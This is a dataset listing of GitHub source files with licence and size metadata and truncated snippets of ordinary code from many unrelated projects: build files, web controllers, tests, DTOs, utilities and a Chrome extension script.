https://github.com/smdg2010/26AprFinal/blob/master/src/gipsy/GEE/IDP/DemandGenerator/jini/rmi/Makefile | Github Open Source | Open Source | BSD-3-Clause | 2,016 | 26AprFinal | smdg2010 | Makefile | Code | 122 | 792 | # GEE IDP DemandGenerator Jini RMI Makefile
#
# $Id: Makefile,v 1.2 2013/02/23 01:51:25 mokhov Exp $
#
BASE_GIPSY_DIR=../../../../../..
include $(BASE_GIPSY_DIR)/../Makefile.global
LIB_GIPSY_DIR = $(BASE_GIPSY_DIR)/../lib
CLASSPATH = $(LIB_GIPSY_DIR)/junit.jar:$(LIB_GIPSY_DIR)/marf.jar:$(LIB_GIPSY_DIR)/netcdfAll.jar... | 9,087 |
https://github.com/whizkidwwe1217/lucenenet/blob/master/src/Lucene.Net.Tests.QueryParser/Flexible/Spans/TestSpanQueryParserSimpleSample.cs | Github Open Source | Open Source | Apache-2.0 | 2,022 | lucenenet | whizkidwwe1217 | C# | Code | 712 | 1,595 | using Lucene.Net.QueryParsers.Flexible.Core.Config;
using Lucene.Net.QueryParsers.Flexible.Core.Nodes;
using Lucene.Net.QueryParsers.Flexible.Core.Parser;
using Lucene.Net.QueryParsers.Flexible.Core.Processors;
using Lucene.Net.QueryParsers.Flexible.Standard.Parser;
using Lucene.Net.Search.Spans;
using Lucene.Net.Util... | 42,072 |
https://github.com/hsqlu/coding-lab/blob/master/java/coding-concurrent/src/main/java/com/hsqlu/coding/concurrent/forkjoin/ProductListGenerator.java | Github Open Source | Open Source | MIT | null | coding-lab | hsqlu | Java | Code | 55 | 156 | package com.hsqlu.coding.concurrent.forkjoin;
import java.util.ArrayList;
import java.util.List;
/**
* Created: 2016/4/27.
* Author: Qiannan Lu
*/
public class ProductListGenerator {
public List<Product> generator(int size) {
List<Product> ret = new ArrayList<>();
for (int i = 0; i < size; ++i... | 49,355 |
https://github.com/vecin2/python-emtask/blob/master/emtask/ced/cedobject_factory.py | Github Open Source | Open Source | MIT | null | python-emtask | vecin2 | Python | Code | 927 | 4,244 | import os
from copy import deepcopy
from pathlib import Path
import lxml.etree as ET
from lxml.etree import CDATA
def make_import(childprocess_path):
packagenames = childprocess_path.split(".")
import_elem = ET.Element("ImportDeclaration", name=packagenames[-1])
pkg_spec = ET.SubElement(import_elem, "Pac... | 6,744 |
https://github.com/gatsbyjs/gatsby-starter-theme/blob/master/src/gatsby-theme-notes/components/layout.js | Github Open Source | Open Source | 0BSD | 2,022 | gatsby-starter-theme | gatsbyjs | JavaScript | Code | 20 | 63 | import * as React from "react"
import BlogLayout from "gatsby-theme-blog/src/components/layout"
const Layout = (props) => <BlogLayout {...props}>{props.children}</BlogLayout>
export default Layout
| 42,479 |
https://github.com/LucaCamerani/EcoFin-library/blob/master/Examples/montecarloSimulation.py | Github Open Source | Open Source | BSD-4-Clause | 2,022 | EcoFin-library | LucaCamerani | Python | Code | 142 | 481 | """
montecarloSimulation.py
Created by Luca Camerani at 31/08/2020, University of Milano-Bicocca.
(l.camerani@campus.unimib.it)
All rights reserved.
This file is part of the EcoFin-Library (https://github.com/LucaCamerani/EcoFin-Library),
and is released under the "BSD Open Source License".
"""
import matplotlib.pyp... | 14,100 |
https://github.com/mlichota/nest-task/blob/master/src/app.controller.ts | Github Open Source | Open Source | MIT | null | nest-task | mlichota | TypeScript | Code | 164 | 554 | import {
Controller,
Get,
Post,
UseGuards,
Request,
HttpCode,
Body,
Res,
} from '@nestjs/common';
import {
ApiBearerAuth,
ApiBody,
ApiOperation,
ApiResponse,
} from '@nestjs/swagger';
import { AuthService } from './auth/auth.service';
import { AccessToken } from './auth/dto/get-access-token-dto'... | 13,302 |
https://github.com/matheustsdev/insta-raffle/blob/master/src/pages/api/points.ts | Github Open Source | Open Source | MIT | null | insta-raffle | matheustsdev | TypeScript | Code | 69 | 215 | import { fauna } from "./../../services/fauna";
import { NextApiRequest, NextApiResponse } from "next";
import { query as q } from "faunadb";
import mocked from "../../mocked.json";
import { FaunaPointProps, PointsApiResponse } from "../../global/types";
// eslint-disable-next-line import/no-anonymous-default-export
e... | 6,947 |
https://github.com/ak-ustutt/GeCCo-public/blob/master/operators/orb_flip_mel.f | Github Open Source | Open Source | MIT | null | GeCCo-public | ak-ustutt | null | Spoken | 516 | 2,153 | *----------------------------------------------------------------------*
subroutine orb_flip_mel(mel,str_info,orb_info)
*----------------------------------------------------------------------*
* Retrieves relative orbital signs from the file FLIPSIGNS
* (a list of logicals that indicates which orbitals' s... | 41,421 |
https://github.com/hbrzostowski/EpamInterviewTask/blob/master/Ocaramba.sln | Github Open Source | Open Source | MIT | 2,020 | EpamInterviewTask | hbrzostowski | null | Spoken | 157 | 1,176 |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.29728.190
MinimumVisualStudioVersion = 10.0.40219.1
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = "Solution Items", "Solution Items", "{844D0B1B-1209-4D4F-BAD4-DA68980CB4DC}"
ProjectSection(Solutio... | 21,331 |
https://github.com/karttu/loda/blob/master/programs/oeis/131/A131712.asm | Github Open Source | Open Source | Apache-2.0 | 2,021 | loda | karttu | Assembly | Code | 23 | 269 | ; A131712: Period 4: repeat [1, 3, 7, 9].
; 1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1,3,7,9,1
mod $0,4
mul $0,8
div $0,5
mov $1,$0
mul $1,2
add $1,1
| 2,277 |
https://github.com/abdiiwan1841/IntiPesan/blob/master/app/Http/Controllers/TrackController.php | Github Open Source | Open Source | MIT | 2,019 | IntiPesan | abdiiwan1841 | PHP | Code | 390 | 1,449 | <?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use App\Track;
use App\Speaker;
use App\Attachment;
use Carbon\Carbon;
class TrackController extends Controller
{
/**
* Display a listing of the resource.
*
* @return \Illuminate\Http\Response
... | 3,942 |
https://github.com/ggbase/ggbase.github.io/blob/master/src/components/Card.js | Github Open Source | Open Source | MIT | 2,021 | ggbase.github.io | ggbase | JavaScript | Code | 55 | 116 | import React from 'react';
import './Card.css';
/*
* A card component to display on the left sidebar
*
* @param {string} props.className Classes to apply - intended for padding/margin use only
* @param {string} props.children Components to display inside the card
*/
export function Card(props) {
return (
<div ... | 51,347 |
https://github.com/specifi/g98/blob/master/vendor/assets/javascripts/cloudinary/index.js | Github Open Source | Open Source | MIT | 2,021 | g98 | specifi | JavaScript | Code | 12 | 52 | //= require ./jquery.ui.widget.js
//= require ./jquery.iframe-transport.js
//= require ./jquery.fileupload.js
//= require ./jquery.cloudinary.js
| 14,479 |
https://github.com/Charles-Chao-Chen/fastSolver/blob/master/test/parallel_launch.cc | Github Open Source | Open Source | MIT | null | fastSolver | Charles-Chao-Chen | C++ | Code | 453 | 1,283 | #include <iostream>
#include <string>
#include <sstream>
#include <math.h>
#include "legion.h"
#include "sub_solve_task.hpp"
#include "custom_mapper.h"
enum {
TOP_LEVEL_TASK_ID = 0,
};
std::string AddSuffix(const std::string str, int x) {
std::stringstream ss;
ss << x;
return str + ss.str();
}
void top_leve... | 10,196 |
https://github.com/QU3B1M/Go-and-Python-MicroMonsters/blob/master/digiapi/database/digifamily/repository.go | Github Open Source | Open Source | MIT | null | Go-and-Python-MicroMonsters | QU3B1M | Go | Code | 52 | 136 | package digifamily
import (
"context"
)
// Repository handle the CRUD operations with Digimon's Family.
type Repository interface {
GetAll(ctx context.Context) []Model
GetOne(ctx context.Context, id uint) (Model, error)
GetByName(ctx context.Context, name string) (Model, error)
Create(ctx context.Context, family... | 10,142 |
https://github.com/sc2220150520/shenchenTestPro/blob/master/methodExchangeAndRunloopSource/test/Pods/LDKit/LDKit/Category/Foundation/NSMutableDictionary/NSMutableDictionary+LDAccessors.m | Github Open Source | Open Source | MIT | 2,018 | shenchenTestPro | sc2220150520 | Objective-C | Code | 99 | 371 | //
// NSMutableDictionary+LDAccessors.m
// LDKitDemo
//
// Created by lixingdong on 16/8/12.
// Copyright © 2016年 david. All rights reserved.
//
#import "NSMutableDictionary+LDAccessors.h"
@implementation NSMutableDictionary (LDAccessors)
- (void)ld_setInteger:(NSInteger)value forKey:(id)key
{
[self setValue... | 42,150 |
https://github.com/the-wrench-io/thena/blob/master/thena-core/thena-docdb-api/src/main/java/io/resys/thena/docdb/api/actions/HistoryActions.java | Github Open Source | Open Source | Apache-2.0 | null | thena | the-wrench-io | Java | Code | 149 | 336 | package io.resys.thena.docdb.api.actions;
/*-
* #%L
* thena-docdb-api
* %%
* Copyright (C) 2021 Copyright 2021 ReSys OÜ
* %%
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* ... | 44,685 |
https://github.com/v1ne/v1util/blob/master/base/alloca.hpp | Github Open Source | Open Source | BSD-2-Clause | null | v1util | v1ne | C++ | Code | 36 | 154 | #pragma once
#include "platform.hpp"
#ifdef V1_OS_WIN
#include <malloc.h>
#define V1_ALLOCA(size) alloca(size)
#elif defined(V1_OS_FREEBSD)
#include <stdlib.h>
#define V1_ALLOCA(size) alloca(size);
#elif defined(V1_OS_LINUX)
#include <alloca.h>
#define V1_ALLOCA(size) alloca(size);
#else
#error "Don't know how to all... | 48,957 |
https://github.com/PBiX-Devs/NewWORM/blob/master/src/qt/announcementview.h | Github Open Source | Open Source | MIT | null | NewWORM | PBiX-Devs | C | Code | 107 | 353 | // Copyright (c) 2018 The Social Send developers
// Copyright (c) 2019 The WORM developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#ifndef ANNOUNCEMENTVIEW_H
#define ANNOUNCEMENTVIEW_H
#include <QWidget>
#include "an... | 48,290 |
https://github.com/EXH3Y/TeleBot/blob/master/src/main/java/exh3y/telebot/data/TelegramFile.java | Github Open Source | Open Source | MIT | 2,017 | TeleBot | EXH3Y | Java | Code | 142 | 487 | package exh3y.telebot.data;
import java.io.IOException;
import org.codehaus.jackson.map.ObjectMapper;
import org.json.JSONObject;
import exh3y.telebot.util.ObjectMapperFactory;
public class TelegramFile
{
private String file_id;
private Integer file_size = null;
private String file_path = "";
public st... | 54,141 |
https://github.com/bikeholik/kafka-maxscale-cdc-connector/blob/master/main.go | Github Open Source | Open Source | BSD-2-Clause | 2,019 | kafka-maxscale-cdc-connector | bikeholik | Go | Code | 228 | 1,068 | // Copyright (c) 2018 Benjamin Borbe All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package main
import (
"context"
"os"
"os/signal"
"runtime"
"syscall"
flag "github.com/bborbe/flagenv"
"github.com/bborbe/kafka-maxscale-cdc-connecto... | 37,722 |
https://github.com/jehugaleahsa/ChangeDetector/blob/master/ChangeDetector/CollectionChange.cs | Github Open Source | Open Source | Unlicense | 2,021 | ChangeDetector | jehugaleahsa | C# | Code | 78 | 229 | using System;
using System.Reflection;
namespace ChangeDetector
{
public interface ICollectionChange<TElement>
{
PropertyInfo Property { get; }
string DisplayName { get; }
IElementChangeCollection<TElement> GetChanges();
}
internal class CollectionChange<TElement> : ICollect... | 52,712 |
https://github.com/ben-hx/node-swagger-express-skeleton/blob/master/scripts/drop-db.js | Github Open Source | Open Source | Apache-2.0 | null | node-swagger-express-skeleton | ben-hx | JavaScript | Code | 49 | 181 | 'use strict';
var config = require('../config');
var mongoose = require('mongoose');
//process.env.NODE_ENV = 'development';
var con = mongoose.connect(config[process.env.NODE_ENV].db.mongoURI);
mongoose.connection.on('open', function () {
con.connection.db.dropDatabase(function (err, result) {
if (err) {... | 25,676 |
https://github.com/wangxinxx/jhi-ant-vue/blob/master/src/main/java/com/aidriveall/cms/service/dto/ApiPermissionDTO.java | Github Open Source | Open Source | MIT | 2,021 | jhi-ant-vue | wangxinxx | Java | Code | 447 | 1,331 | package com.aidriveall.cms.service.dto;
import io.swagger.annotations.ApiModel;
import io.swagger.annotations.ApiModelProperty;
import java.io.Serializable;
import java.util.LinkedHashSet;
import java.util.Set;
import java.util.Objects;
import com.aidriveall.cms.domain.enumeration.ApiPermissionType;
// jhipster-needl... | 28,362 |
https://github.com/clemeno/kunkunshi-editor-okinawa-sanshin-partitions/blob/master/src/app/core/util/check.util.ts | Github Open Source | Open Source | MIT | null | kunkunshi-editor-okinawa-sanshin-partitions | clemeno | TypeScript | Code | 509 | 1,063 |
export const IS_DEFINED = (_: any): boolean => typeof _ !== 'undefined'
export const IS_UNDEFINED = (_: any): boolean => typeof _ === 'undefined'
export const IS_NOT_DEFINED = (_: any): boolean => typeof _ === 'undefined'
export const IS_NULL = (_: any): boolean => _ === null
export const IS_NOT_NULL = (_: any): bool... | 49,057 |
https://github.com/e-mcbride/office-marathon/blob/master/src/services/profile/authentication.ts | Github Open Source | Open Source | MIT | null | office-marathon | e-mcbride | TypeScript | Code | 182 | 467 | // user information
import API, { graphqlOperation } from "@aws-amplify/api";
import { Auth } from "@aws-amplify/auth";
import { createUser } from '../../graphql/mutations';
import { getUser } from '../../graphql/queries';
export async function getUserInfo() {
const userInfo = await Auth.currentAuthenticatedUser... | 47,164 |
https://github.com/Sonawap/University-Chatting-App-with-PHP-and-Javascript/blob/master/php/query.php | Github Open Source | Open Source | MIT | 2,020 | University-Chatting-App-with-PHP-and-Javascript | Sonawap | PHP | Code | 39 | 121 | <?php
require 'connect.php';
$query = "SELECT * FROM department ";
$department = $winatech->query($query) or die($winatech->error.__LINE__);
$query = "SELECT * FROM level ";
$level = $winatech->query($query) or die($winatech->error.__LINE__);
$query = "SELECT * FROM faculty ";
$faculty = $winatech->query($query) or... | 7,982 |
https://github.com/danliris/com-danliris-service-packing-inventory/blob/master/src/Com.Danliris.Service.Packing.Inventory.Infrastructure/EntityConfigurations/GarmentShipping/LetterOfCredit/GarmentLetterOfCreditEntityTypeConfiguration.cs | Github Open Source | Open Source | MIT, LicenseRef-scancode-free-unknown | 2,023 | com-danliris-service-packing-inventory | danliris | C# | Code | 86 | 515 | using Com.Danliris.Service.Packing.Inventory.Data.Models.Garmentshipping.LetterOfCredit;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace Com.Danliris.Service.Packing.Inventory.Infrastructure.Entity... | 29,481 |
https://github.com/phaensgen/relay-logic-simulator/blob/master/src/sunday/resi/example/relaytimer/RelayTimerFrame.java | Github Open Source | Open Source | MIT | 2,020 | relay-logic-simulator | phaensgen | Java | Code | 441 | 1,400 | package sunday.resi.example.relaytimer;
import java.awt.BorderLayout;
import java.awt.Button;
import java.awt.Color;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.Panel;
import java.awt.Toolkit;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import sunday.resi.common... | 23,251 |
https://github.com/jonathanbak/psf/blob/master/src/PSF/Exception/SecurityException.php | Github Open Source | Open Source | MIT | 2,018 | psf | jonathanbak | PHP | Code | 9 | 24 | <?php
namespace PSF\Exception;
class SecurityException extends Exception
{
} | 34,103 |
https://github.com/634/tweeclipse/blob/master/src/com/github/tweeclipse/utils/TwitterUtil.java | Github Open Source | Open Source | LicenseRef-scancode-public-domain | 2,010 | tweeclipse | 634 | Java | Code | 150 | 647 | package com.github.tweeclipse.utils;
import java.util.ArrayList;
import java.util.List;
import org.eclipse.jface.preference.IPreferenceStore;
import twitter4j.Paging;
import twitter4j.Status;
import twitter4j.Twitter;
import twitter4j.TwitterException;
import twitter4j.TwitterFactory;
import com.github.tweeclipse.T... | 4,233 |
https://github.com/redpanda3/soDLA_equi/blob/master/soDLA/src/main/scala/nvdla/sdp/NV_NVDLA_SDP_CORE_y.scala | Github Open Source | Open Source | BSD-3-Clause | 2,019 | soDLA_equi | redpanda3 | Scala | Code | 644 | 4,952 | package nvdla
import chisel3._
import chisel3.experimental._
import chisel3.util._
class sdp_y_ew_reg2dp_if extends Bundle{
val alu_cvt = new sdp_y_int_cvt_cfg_if
val mul_cvt = new sdp_y_int_cvt_cfg_if
val alu = new sdp_y_int_alu_cfg_if
val mul = new sdp_y_int_mul_cfg_if
val lut_bypass = Output(B... | 43,142 |
https://github.com/jBosak98/HackYeah2019/blob/master/lib/common/bloc/login_bloc.dart | Github Open Source | Open Source | MIT | 2,019 | HackYeah2019 | jBosak98 | Dart | Code | 23 | 129 | import 'package:firebase_auth/firebase_auth.dart';
import 'package:flutter1/common/repository/user_data_repository.dart';
import 'base_bloc.dart';
class LoginBloc extends BaseBloc {
FirebaseAuth firebaseAuth;
UserDataRepository _userDataRepository;
LoginBloc(this.firebaseAuth, this._userDataRepository);
v... | 17,961 |
https://github.com/lyrhy/lightweightCTF/blob/master/challenges/migrations/0002_challengessolvedby_create_time.py | Github Open Source | Open Source | MIT | 2,021 | lightweightCTF | lyrhy | Python | Code | 34 | 147 | # Generated by Django 2.0 on 2020-05-03 06:11
from django.db import migrations, models
import django.utils.timezone
class Migration(migrations.Migration):
dependencies = [
('challenges', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='challengessolvedby',
... | 18,077 |
https://github.com/chewtoys/api-2/blob/master/src/server/graphql/Bookmark/typeDefs.ts | Github Open Source | Open Source | MIT | 2,020 | api-2 | chewtoys | TypeScript | Code | 37 | 99 | import { gql } from 'apollo-server-express';
import { DocumentNode } from 'graphql';
const Bookmark = gql`
type Bookmark implements Node {
id: ID!
author: User!
bookmarkable: Bookmarkable!
}
`;
const typeDefs: ReadonlyArray<DocumentNode> = [Bookmark];
export default typeDefs;
| 48,881 |
https://github.com/runsel/portal-wisata/blob/master/app/Helpers/Helper.php | Github Open Source | Open Source | MIT | null | portal-wisata | runsel | PHP | Code | 124 | 339 | <?php
/**
* Format bytes to kb, mb, gb, tb
*
* @param integer $size
* @param integer $precision
* @return integer
*/
if(!function_exists('sizeHuman'))
{
function sizeHuman($size, $precision = 2)
{
if ($size > 0) {
$size = (int) $siz... | 32,098 |
https://github.com/awojcicki/sr-sla-management/blob/master/chrome-extension/addScheduledJobUnpostingButtons.js | Github Open Source | Open Source | MIT | 2,018 | sr-sla-management | awojcicki | JavaScript | Code | 441 | 1,661 | var DELAYED_UNPUBLISH_TPL = `<ul class="list list--underline"><li></li><li class="padding--vertical--s">
<span>Unpublish job on? </span>
<input type='checkbox' id='delayedUnpublish' name='delayedUnpublish' class="margin--horizontal--s" />
<input type='date' id='delayedUnpostingDate' name='delayedUnpostingDate' c... | 13,039 |
https://github.com/workgroupengineering/FtpServer/blob/master/src/FubarDev.FtpServer.Abstractions/Authorization/IAuthorizationMechanism.cs | Github Open Source | Open Source | MIT | 2,022 | FtpServer | workgroupengineering | C# | Code | 154 | 488 | // <copyright file="IAuthorizationMechanism.cs" company="Fubar Development Junker">
// Copyright (c) Fubar Development Junker. All rights reserved.
// </copyright>
using System.Threading;
using System.Threading.Tasks;
using FubarDev.FtpServer.Authentication;
namespace FubarDev.FtpServer.Authorization
{
/// <summ... | 9,054 |
https://github.com/pacharanero/discourse_cli/blob/master/lib/discourse_cli/client.rb | Github Open Source | Open Source | MIT | 2,016 | discourse_cli | pacharanero | Ruby | Code | 32 | 130 | require 'discourse_api'
require 'yaml'
module DiscourseCli
class Client
def self.client
secrets_file = ENV['HOME'] + '/.discourse_cli'
secrets = YAML.load_file secrets_file
client = DiscourseApi::Client.new(secrets['discourse']['host'])
client.api_key = secrets['discourse']['api_key']
... | 23,625 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.